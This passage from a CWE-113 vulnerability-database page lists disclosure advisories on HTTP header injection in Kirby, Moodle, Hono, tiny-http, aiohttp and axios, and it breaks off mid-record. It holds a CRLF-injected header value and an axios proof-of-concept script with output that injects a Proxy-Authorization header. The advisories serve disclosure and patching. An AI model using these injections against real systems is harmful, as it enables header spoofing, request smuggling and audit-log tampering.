CWE-113
AllowedImproper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
Abstraction: Variant · Status: Incomplete
The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.
203 vulnerabilities reference this CWE, most recent first.
GHSA-4V4H-M2QQ-PPGW
Vulnerability from github – Published: 2026-06-18 15:04 – Updated: 2026-06-18 15:04TL;DR
This vulnerability affects Kirby sites and plugins that use the Kirby\Http\Remote class (including Remote::request(), Remote::get(), Remote::post(), and similar helpers) to send outgoing HTTP requests and that pass untrusted, user-controlled data into the headers option of such a request.
By including newline characters in the value of the header, it was possible to inject a separate, independent header that was not intended to be set.
A successful attack requires that an application or plugin forwards attacker-influenced input into a request header value. Sites that only send static, developer-defined headers are not affected. The attack does not target Panel users or site visitors directly; it targets the remote service that Kirby connects to.
In Kirby's default configuration, the Remote class is not exposed to untrusted input, so a default installation is not affected. The vulnerability becomes relevant for custom code, plugins, or integrations that build request headers from user input.
Introduction
HTTP header injection (also known as CRLF injection) is a type of vulnerability that allows an attacker to insert additional, attacker-controlled HTTP headers into a request or response. HTTP headers are separated by carriage-return and line-feed characters (\r\n). If untrusted data containing these characters is placed into a header value without sanitization, an attacker can terminate the intended header early and append headers of their own.
For outgoing requests, this means an attacker who controls part of a header value can add or override headers that the application did not intend to send. Depending on the remote service, this can be used to override security-relevant headers (such as Authorization, Host, or Cookie), to smuggle requests, or to poison caches on the upstream system.
Such vulnerabilities are relevant if untrusted input can reach the header values of an outgoing request – for example, a user-configurable API token, a forwarded tracking identifier, or any other value that originates from a request, form field, or content file.
Affected components
The Kirby\Http\Remote class is used throughout Kirby and by plugins to perform outgoing HTTP requests. Its headers option allows callers to define the headers sent with the request.
As the vulnerability is in the way Remote assembles these headers, it affects all code paths that send a Remote request whose header values contain untrusted data. The Kirby core itself has not passed untrusted data in that way, but plugins or custom code might have used the class in such a way.
Impact
In affected releases, header values passed to Remote were handed to the cURL request library without removing newline characters:
The headers option accepted arbitrary strings as header values and forwarded them to the underlying cURL request unchanged. A value containing \r\n was written verbatim to the socket and therefore split into several header lines on the wire.
For example, a single X-Foo header value of "Bar\r\nX-Injected: pwned" produced two separate headers in the outgoing request:
X-Foo: Bar
X-Injected: pwned
The receiving server parsed X-Injected: pwned as its own header. In the same way, an attacker could override a header that the application set earlier in the same request (for example, replacing a legitimate Authorization header).
The vulnerability allows attackers to inject or override HTTP headers in outgoing requests, provided the affected application or plugin includes attacker-controlled data in a header value.
Patches
The problem has been patched in Kirby 4.9.4 and Kirby 5.4.4. Please update to one of these or a later version to fix the vulnerability.
In all of the mentioned releases, we now strip carriage-return and line-feed characters from header values before they are passed to the underlying request, preventing additional headers from being injected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.3"
},
"package": {
"ecosystem": "Packagist",
"name": "getkirby/cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.4.3"
},
"package": {
"ecosystem": "Packagist",
"name": "getkirby/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-alpha.1"
},
{
"fixed": "5.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50188"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T15:04:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### TL;DR\n\nThis vulnerability affects Kirby sites and plugins that use the `Kirby\\Http\\Remote` class (including `Remote::request()`, `Remote::get()`, `Remote::post()`, and similar helpers) to send outgoing HTTP requests and that pass untrusted, user-controlled data into the `headers` option of such a request.\n\nBy including newline characters in the value of the header, it was possible to inject a separate, independent header that was not intended to be set.\n\nA successful attack requires that an application or plugin forwards attacker-influenced input into a request header value. Sites that only send static, developer-defined headers are *not* affected. The attack does not target Panel users or site visitors directly; it targets the remote service that Kirby connects to.\n\nIn Kirby\u0027s default configuration, the `Remote` class is not exposed to untrusted input, so a default installation is *not* affected. The vulnerability becomes relevant for custom code, plugins, or integrations that build request headers from user input.\n\n----\n\n### Introduction\n\nHTTP header injection (also known as CRLF injection) is a type of vulnerability that allows an attacker to insert additional, attacker-controlled HTTP headers into a request or response. HTTP headers are separated by carriage-return and line-feed characters (`\\r\\n`). If untrusted data containing these characters is placed into a header value without sanitization, an attacker can terminate the intended header early and append headers of their own.\n\nFor outgoing requests, this means an attacker who controls part of a header value can add or override headers that the application did not intend to send. Depending on the remote service, this can be used to override security-relevant headers (such as `Authorization`, `Host`, or `Cookie`), to smuggle requests, or to poison caches on the upstream system.\n\nSuch vulnerabilities are relevant if untrusted input can reach the header values of an outgoing request \u2013 for example, a user-configurable API token, a forwarded tracking identifier, or any other value that originates from a request, form field, or content file.\n\n### Affected components\n\nThe `Kirby\\Http\\Remote` class is used throughout Kirby and by plugins to perform outgoing HTTP requests. Its `headers` option allows callers to define the headers sent with the request.\n\nAs the vulnerability is in the way `Remote` assembles these headers, it affects all code paths that send a `Remote` request whose header values contain untrusted data. The Kirby core itself has not passed untrusted data in that way, but plugins or custom code might have used the class in such a way.\n\n### Impact\n\nIn affected releases, header values passed to `Remote` were handed to the cURL request library without removing newline characters:\n\nThe `headers` option accepted arbitrary strings as header values and forwarded them to the underlying cURL request unchanged. A value containing `\\r\\n` was written verbatim to the socket and therefore split into several header lines on the wire.\n\nFor example, a single `X-Foo` header value of `\"Bar\\r\\nX-Injected: pwned\"` produced two separate headers in the outgoing request:\n\n```\nX-Foo: Bar\nX-Injected: pwned\n```\n\nThe receiving server parsed `X-Injected: pwned` as its own header. In the same way, an attacker could override a header that the application set earlier in the same request (for example, replacing a legitimate `Authorization` header).\n\nThe vulnerability allows attackers to inject or override HTTP headers in outgoing requests, provided the affected application or plugin includes attacker-controlled data in a header value.\n\n### Patches\n\nThe problem has been patched in [Kirby 4.9.4](https://github.com/getkirby/kirby/releases/tag/4.9.4) and [Kirby 5.4.4](https://github.com/getkirby/kirby/releases/tag/5.4.4). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.\n\nIn all of the mentioned releases, we now strip carriage-return and line-feed characters from header values before they are passed to the underlying request, preventing additional headers from being injected.",
"id": "GHSA-4v4h-m2qq-ppgw",
"modified": "2026-06-18T15:04:47Z",
"published": "2026-06-18T15:04:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/security/advisories/GHSA-4v4h-m2qq-ppgw"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkirby/kirby"
},
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/releases/tag/4.9.4"
},
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/releases/tag/5.4.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Kirby: Request header injection in `Http\\Remote`"
}
GHSA-4W8M-96V9-2C86
Vulnerability from github – Published: 2022-05-13 01:13 – Updated: 2024-01-17 18:51CRLF injection vulnerability in calendar/set.php in the Calendar component in Moodle 1.9.x before 1.9.15, 2.0.x before 2.0.6, 2.1.x before 2.1.3, and 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via vectors involving the url variable.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "2.0"
},
{
"fixed": "2.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "2.1"
},
{
"fixed": "2.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2011-4203"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-17T18:51:01Z",
"nvd_published_at": "2011-12-22T15:29:00Z",
"severity": "MODERATE"
},
"details": "CRLF injection vulnerability in calendar/set.php in the Calendar component in Moodle 1.9.x before 1.9.15, 2.0.x before 2.0.6, 2.1.x before 2.1.3, and 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via vectors involving the url variable.",
"id": "GHSA-4w8m-96v9-2c86",
"modified": "2024-01-17T18:51:01Z",
"published": "2022-05-13T01:13:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4203"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/581e8dba387f090d89382115fd850d8b44351526"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/ae7cc577b7115a7ad7a68dc4986aca9e2bda2cf5"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/bc577df6a974606fcb0882b090b00ea5a4e10cf6"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/e311b14364719b0f7851149ee51c1a4ec732635e"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=191754"
},
{
"type": "WEB",
"url": "http://penturalabs.wordpress.com/2011/12/13/advisory-crlf-injection-vulnerability-in-moodle"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Moodle CRLF Injection Vulnerability in Calendar Component"
}
GHSA-55CM-P4WW-685G
Vulnerability from github – Published: 2026-06-23 15:32 – Updated: 2026-06-23 15:32Hono before 4.12.12 does not validate cookie names on the write path in the setCookie(), serialize(), and serializeSigned() functions, allowing invalid characters such as control characters (e.g. \r or \n) when an application passes a user-controlled cookie name. This can produce malformed Set-Cookie header values. In modern runtimes such as Node.js and Cloudflare Workers, such invalid header values are rejected and cause a runtime error before the response is sent, so header injection or response splitting could not be reproduced; the issue primarily affects correctness and robustness, resulting in runtime errors (availability) rather than confirmed header injection.
{
"affected": [],
"aliases": [
"CVE-2026-56762"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-20"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-23T13:16:46Z",
"severity": "MODERATE"
},
"details": "Hono before 4.12.12 does not validate cookie names on the write path in the setCookie(), serialize(), and serializeSigned() functions, allowing invalid characters such as control characters (e.g. \\r or \\n) when an application passes a user-controlled cookie name. This can produce malformed Set-Cookie header values. In modern runtimes such as Node.js and Cloudflare Workers, such invalid header values are rejected and cause a runtime error before the response is sent, so header injection or response splitting could not be reproduced; the issue primarily affects correctness and robustness, resulting in runtime errors (availability) rather than confirmed header injection.",
"id": "GHSA-55cm-p4ww-685g",
"modified": "2026-06-23T15:32:37Z",
"published": "2026-06-23T15:32:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-26pp-8wgv-hjvm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56762"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/hono-missing-cookie-name-validation-in-setcookie"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5PQ2-9X2X-5P6W
Vulnerability from github – Published: 2026-03-04 19:49 – Updated: 2026-03-05 15:26Summary
The setCookie() utility did not validate semicolons (;), carriage returns (\r), or newline characters (\n) in the domain and path options when constructing the Set-Cookie header.
Because cookie attributes are delimited by semicolons, this could allow injection of additional cookie attributes if untrusted input was passed into these fields.
Details
setCookie() builds the Set-Cookie header by concatenating option values. While the cookie value itself is URL-encoded, the domain and path options were previously interpolated without rejecting unsafe characters.
Including ;, \r, or \n in these fields could result in unintended additional attributes (such as SameSite, Secure, Domain, or Path) being appended to the cookie header.
Modern runtimes prevent full header injection via CRLF, so this issue is limited to attribute-level manipulation within a single Set-Cookie header.
The issue has been fixed by rejecting these characters in the domain and path options.
Impact
An attacker may be able to manipulate cookie attributes if an application passes user-controlled input directly into the domain or path options of setCookie().
This could affect cookie scoping or security attributes depending on browser behavior. Exploitation requires application-level misuse of cookie options.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29086"
],
"database_specific": {
"cwe_ids": [
"CWE-1113",
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T19:49:14Z",
"nvd_published_at": "2026-03-04T23:16:10Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `setCookie()` utility did not validate semicolons (`;`), carriage returns (`\\r`), or newline characters (`\\n`) in the `domain` and `path` options when constructing the `Set-Cookie` header.\n\nBecause cookie attributes are delimited by semicolons, this could allow injection of additional cookie attributes if untrusted input was passed into these fields.\n\n## Details\n\n`setCookie()` builds the `Set-Cookie` header by concatenating option values. While the cookie value itself is URL-encoded, the `domain` and `path` options were previously interpolated without rejecting unsafe characters.\n\nIncluding `;`, `\\r`, or `\\n` in these fields could result in unintended additional attributes (such as `SameSite`, `Secure`, `Domain`, or `Path`) being appended to the cookie header.\n\nModern runtimes prevent full header injection via CRLF, so this issue is limited to attribute-level manipulation within a single `Set-Cookie` header.\n\nThe issue has been fixed by rejecting these characters in the `domain` and `path` options.\n\n## Impact\n\nAn attacker may be able to manipulate cookie attributes if an application passes user-controlled input directly into the `domain` or `path` options of `setCookie()`.\n\nThis could affect cookie scoping or security attributes depending on browser behavior. Exploitation requires application-level misuse of cookie options.",
"id": "GHSA-5pq2-9x2x-5p6w",
"modified": "2026-03-05T15:26:43Z",
"published": "2026-03-04T19:49:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-5pq2-9x2x-5p6w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29086"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/44ae0c8cc4d5ab2bed529127a4ac72e1483ad073"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono Vulnerable to Cookie Attribute Injection via Unsanitized domain and path in setCookie()"
}
GHSA-5WM6-G4FR-88X8
Vulnerability from github – Published: 2026-07-28 18:33 – Updated: 2026-07-28 18:33tiny-http through 0.12.0 contains an HTTP header injection vulnerability that allows attackers to inject carriage return (0x0D) and line feed (0x0A) bytes into HTTP header values on both request and response sides due to insufficient validation in header parsing and serialization. Attackers can exploit this injection primitive to perform response splitting, cache poisoning, session fixation via Set-Cookie injection, security header override, and request smuggling against line-feed-tolerant backends.
{
"affected": [],
"aliases": [
"CVE-2026-66753"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-28T16:20:17Z",
"severity": "MODERATE"
},
"details": "tiny-http through 0.12.0 contains an HTTP header injection vulnerability that allows attackers to inject carriage return (0x0D) and line feed (0x0A) bytes into HTTP header values on both request and response sides due to insufficient validation in header parsing and serialization. Attackers can exploit this injection primitive to perform response splitting, cache poisoning, session fixation via Set-Cookie injection, security header override, and request smuggling against line-feed-tolerant backends.",
"id": "GHSA-5wm6-g4fr-88x8",
"modified": "2026-07-28T18:33:03Z",
"published": "2026-07-28T18:33:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66753"
},
{
"type": "WEB",
"url": "https://github.com/theopaid/HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http-/tree/master"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/tiny-http-http-response-splitting-via-header-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-63HF-3VF5-4WQF
Vulnerability from github – Published: 2026-04-01 21:49 – Updated: 2026-07-15 21:50Summary
The C parser (the default for most installs) accepted null bytes and control characters in request headers.
Impact
An attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, request.url.origin() may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.
Patch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.13.3"
},
"package": {
"ecosystem": "PyPI",
"name": "aiohttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.13.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34520"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:49:06Z",
"nvd_published_at": "2026-04-01T21:17:00Z",
"severity": "LOW"
},
"details": "### Summary\n\nThe C parser (the default for most installs) accepted null bytes and control characters in request headers.\n\n### Impact\n\nAn attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, `request.url.origin()` may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4",
"id": "GHSA-63hf-3vf5-4wqf",
"modified": "2026-07-15T21:50:23Z",
"published": "2026-04-01T21:49:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hf-3vf5-4wqf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34520"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4"
},
{
"type": "PACKAGE",
"url": "https://github.com/aio-libs/aiohttp"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2026-2102.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "AIOHTTP\u0027s C parser (llhttp) accepts null bytes and control characters in response header values - header injection/security bypass"
}
GHSA-654M-C8P4-X5FP
Vulnerability from github – Published: 2026-05-29 15:51 – Updated: 2026-06-12 19:24[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2
Summary
The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.
The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.
Severity: Medium (CVSS 5.4)
Affected Versions: 1.15.2 (and potentially 1.15.1)
Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
CVSS 3.1
Score: 5.6 (Medium)
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | High | Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure config.proxy. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the proxy authentication context |
| Confidentiality | Low | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike config.baseURL hijack) |
| Integrity | Low | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |
| Availability | Low | If proxy rejects the injected credentials, legitimate requests may fail |
Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)
| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |
|---|---|---|
| Precondition | None — all requests affected | Must have config.proxy set |
config.baseURL PP |
Hijacks all relative URL requests | Not applicable |
config.auth PP |
Injects Authorization to target server |
Only injects Proxy-Authorization to proxy |
| Attacker sees traffic | Yes (via baseURL redirect) | No — only proxy identity affected |
| Impact scope | Universal — every axios request | Only requests with explicit proxy config |
This Is a Patch Bypass
This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.
However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.
| Layer | Protection | Status |
|---|---|---|
config (top-level) |
Object.create(null) |
✓ Fixed |
config.proxy (nested) |
utils.merge() → const result = {} |
✗ NOT Fixed |
setProxy() reads |
proxy.username, proxy.auth without hasOwnProperty |
✗ NOT Fixed |
Root Cause Analysis
Step 1: utils.merge() creates plain {} for nested objects
File: lib/utils.js, line 406
function merge(/* obj1, obj2, obj3, ... */) {
const result = {}; // ← Plain object with Object.prototype!
// ...
}
When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.
Step 2: setProxy() reads proxy properties without hasOwnProperty
File: lib/adapters/http.js, lines 209-223
function setProxy(options, configProxy, location) {
let proxy = configProxy;
// ...
if (proxy) {
if (proxy.username) { // ← traverses Object.prototype!
proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
}
if (proxy.auth) { // ← traverses Object.prototype!
const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
if (validProxyAuth) {
proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
}
// ...
const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED!
}
// ...
}
}
Complete Attack Chain
Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
│
▼
User config: { proxy: { host: 'proxy.corp', port: 8080 } }
│
▼
mergeConfig() → utils.merge() → new plain {}
config.proxy = { host: 'proxy.corp', port: 8080 } (own properties)
config.proxy inherits from Object.prototype (has .username, .password)
│
▼
setProxy() at http.js:209:
proxy.username → 'attacker' (from Object.prototype) → truthy!
proxy.auth = 'attacker' + ':' + 'stolen-creds'
│
▼
http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Injected into EVERY proxied HTTP request!
Proof of Concept
import http from 'http';
import axios from './index.js';
// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
res.writeHead(200);
res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));
// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';
// Developer sets proxy WITHOUT auth — expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});
// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds
delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();
Reproduction Environment
Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0
Reproduction Steps
# 1. Install axios 1.15.2
npm pack axios@1.15.2
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install
# 2. Save PoC as poc.mjs (code from Section 7 above)
# 3. Run
node poc.mjs
Verified PoC Output
=== Axios 1.15.2: PP → Proxy-Authorization Injection ===
[1] Normal request with proxy (no auth):
Proxy-Authorization: none
[2] Prototype Pollution: Object.prototype.username = "attacker"
Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Decoded: attacker:stolen-creds
→ PP injected proxy credentials: attacker:stolen-creds
[3] Impact:
✗ Attacker injects Proxy-Authorization into all proxied requests
✗ If proxy logs auth, attacker credential appears in proxy logs
✗ If proxy authenticates based on this, attacker controls proxy identity
✗ Works on 1.15.2 despite null-prototype config fix
✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype
Confirming the Bypass Mechanism
Direct PP (config.proxy) — BLOCKED by 1.15.2:
Object.prototype.proxy = { host: 'evil' }
config.proxy = undefined ← null-prototype blocks ✓
Nested PP (proxy.username) — BYPASSES 1.15.2:
Object.prototype.username = 'attacker'
config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties
config.proxy own keys: ['host', 'port'] ← username NOT own
config.proxy.username = 'attacker' ← inherited from Object.prototype!
hasOwn(config.proxy, 'username') = false
## Impact Analysis
- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.
### Prerequisite
- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted
## Recommended Fix
### Fix 1: Use `hasOwnProperty` in `setProxy()`
```javascript
function setProxy(options, configProxy, location) {
let proxy = configProxy;
// ...
if (proxy) {
const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);
if (hasOwn(proxy, 'username')) {
proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
}
if (hasOwn(proxy, 'auth')) {
// ... existing auth handling ...
}
}
}
Fix 2: Use null-prototype objects in utils.merge()
// lib/utils.js line 406
function merge(/* obj1, obj2, obj3, ... */) {
const result = Object.create(null); // ← null-prototype for nested objects too
// ...
}
Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.2"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.15.2"
]
}
],
"aliases": [
"CVE-2026-44489"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T15:51:02Z",
"nvd_published_at": "2026-06-11T17:16:32Z",
"severity": "LOW"
},
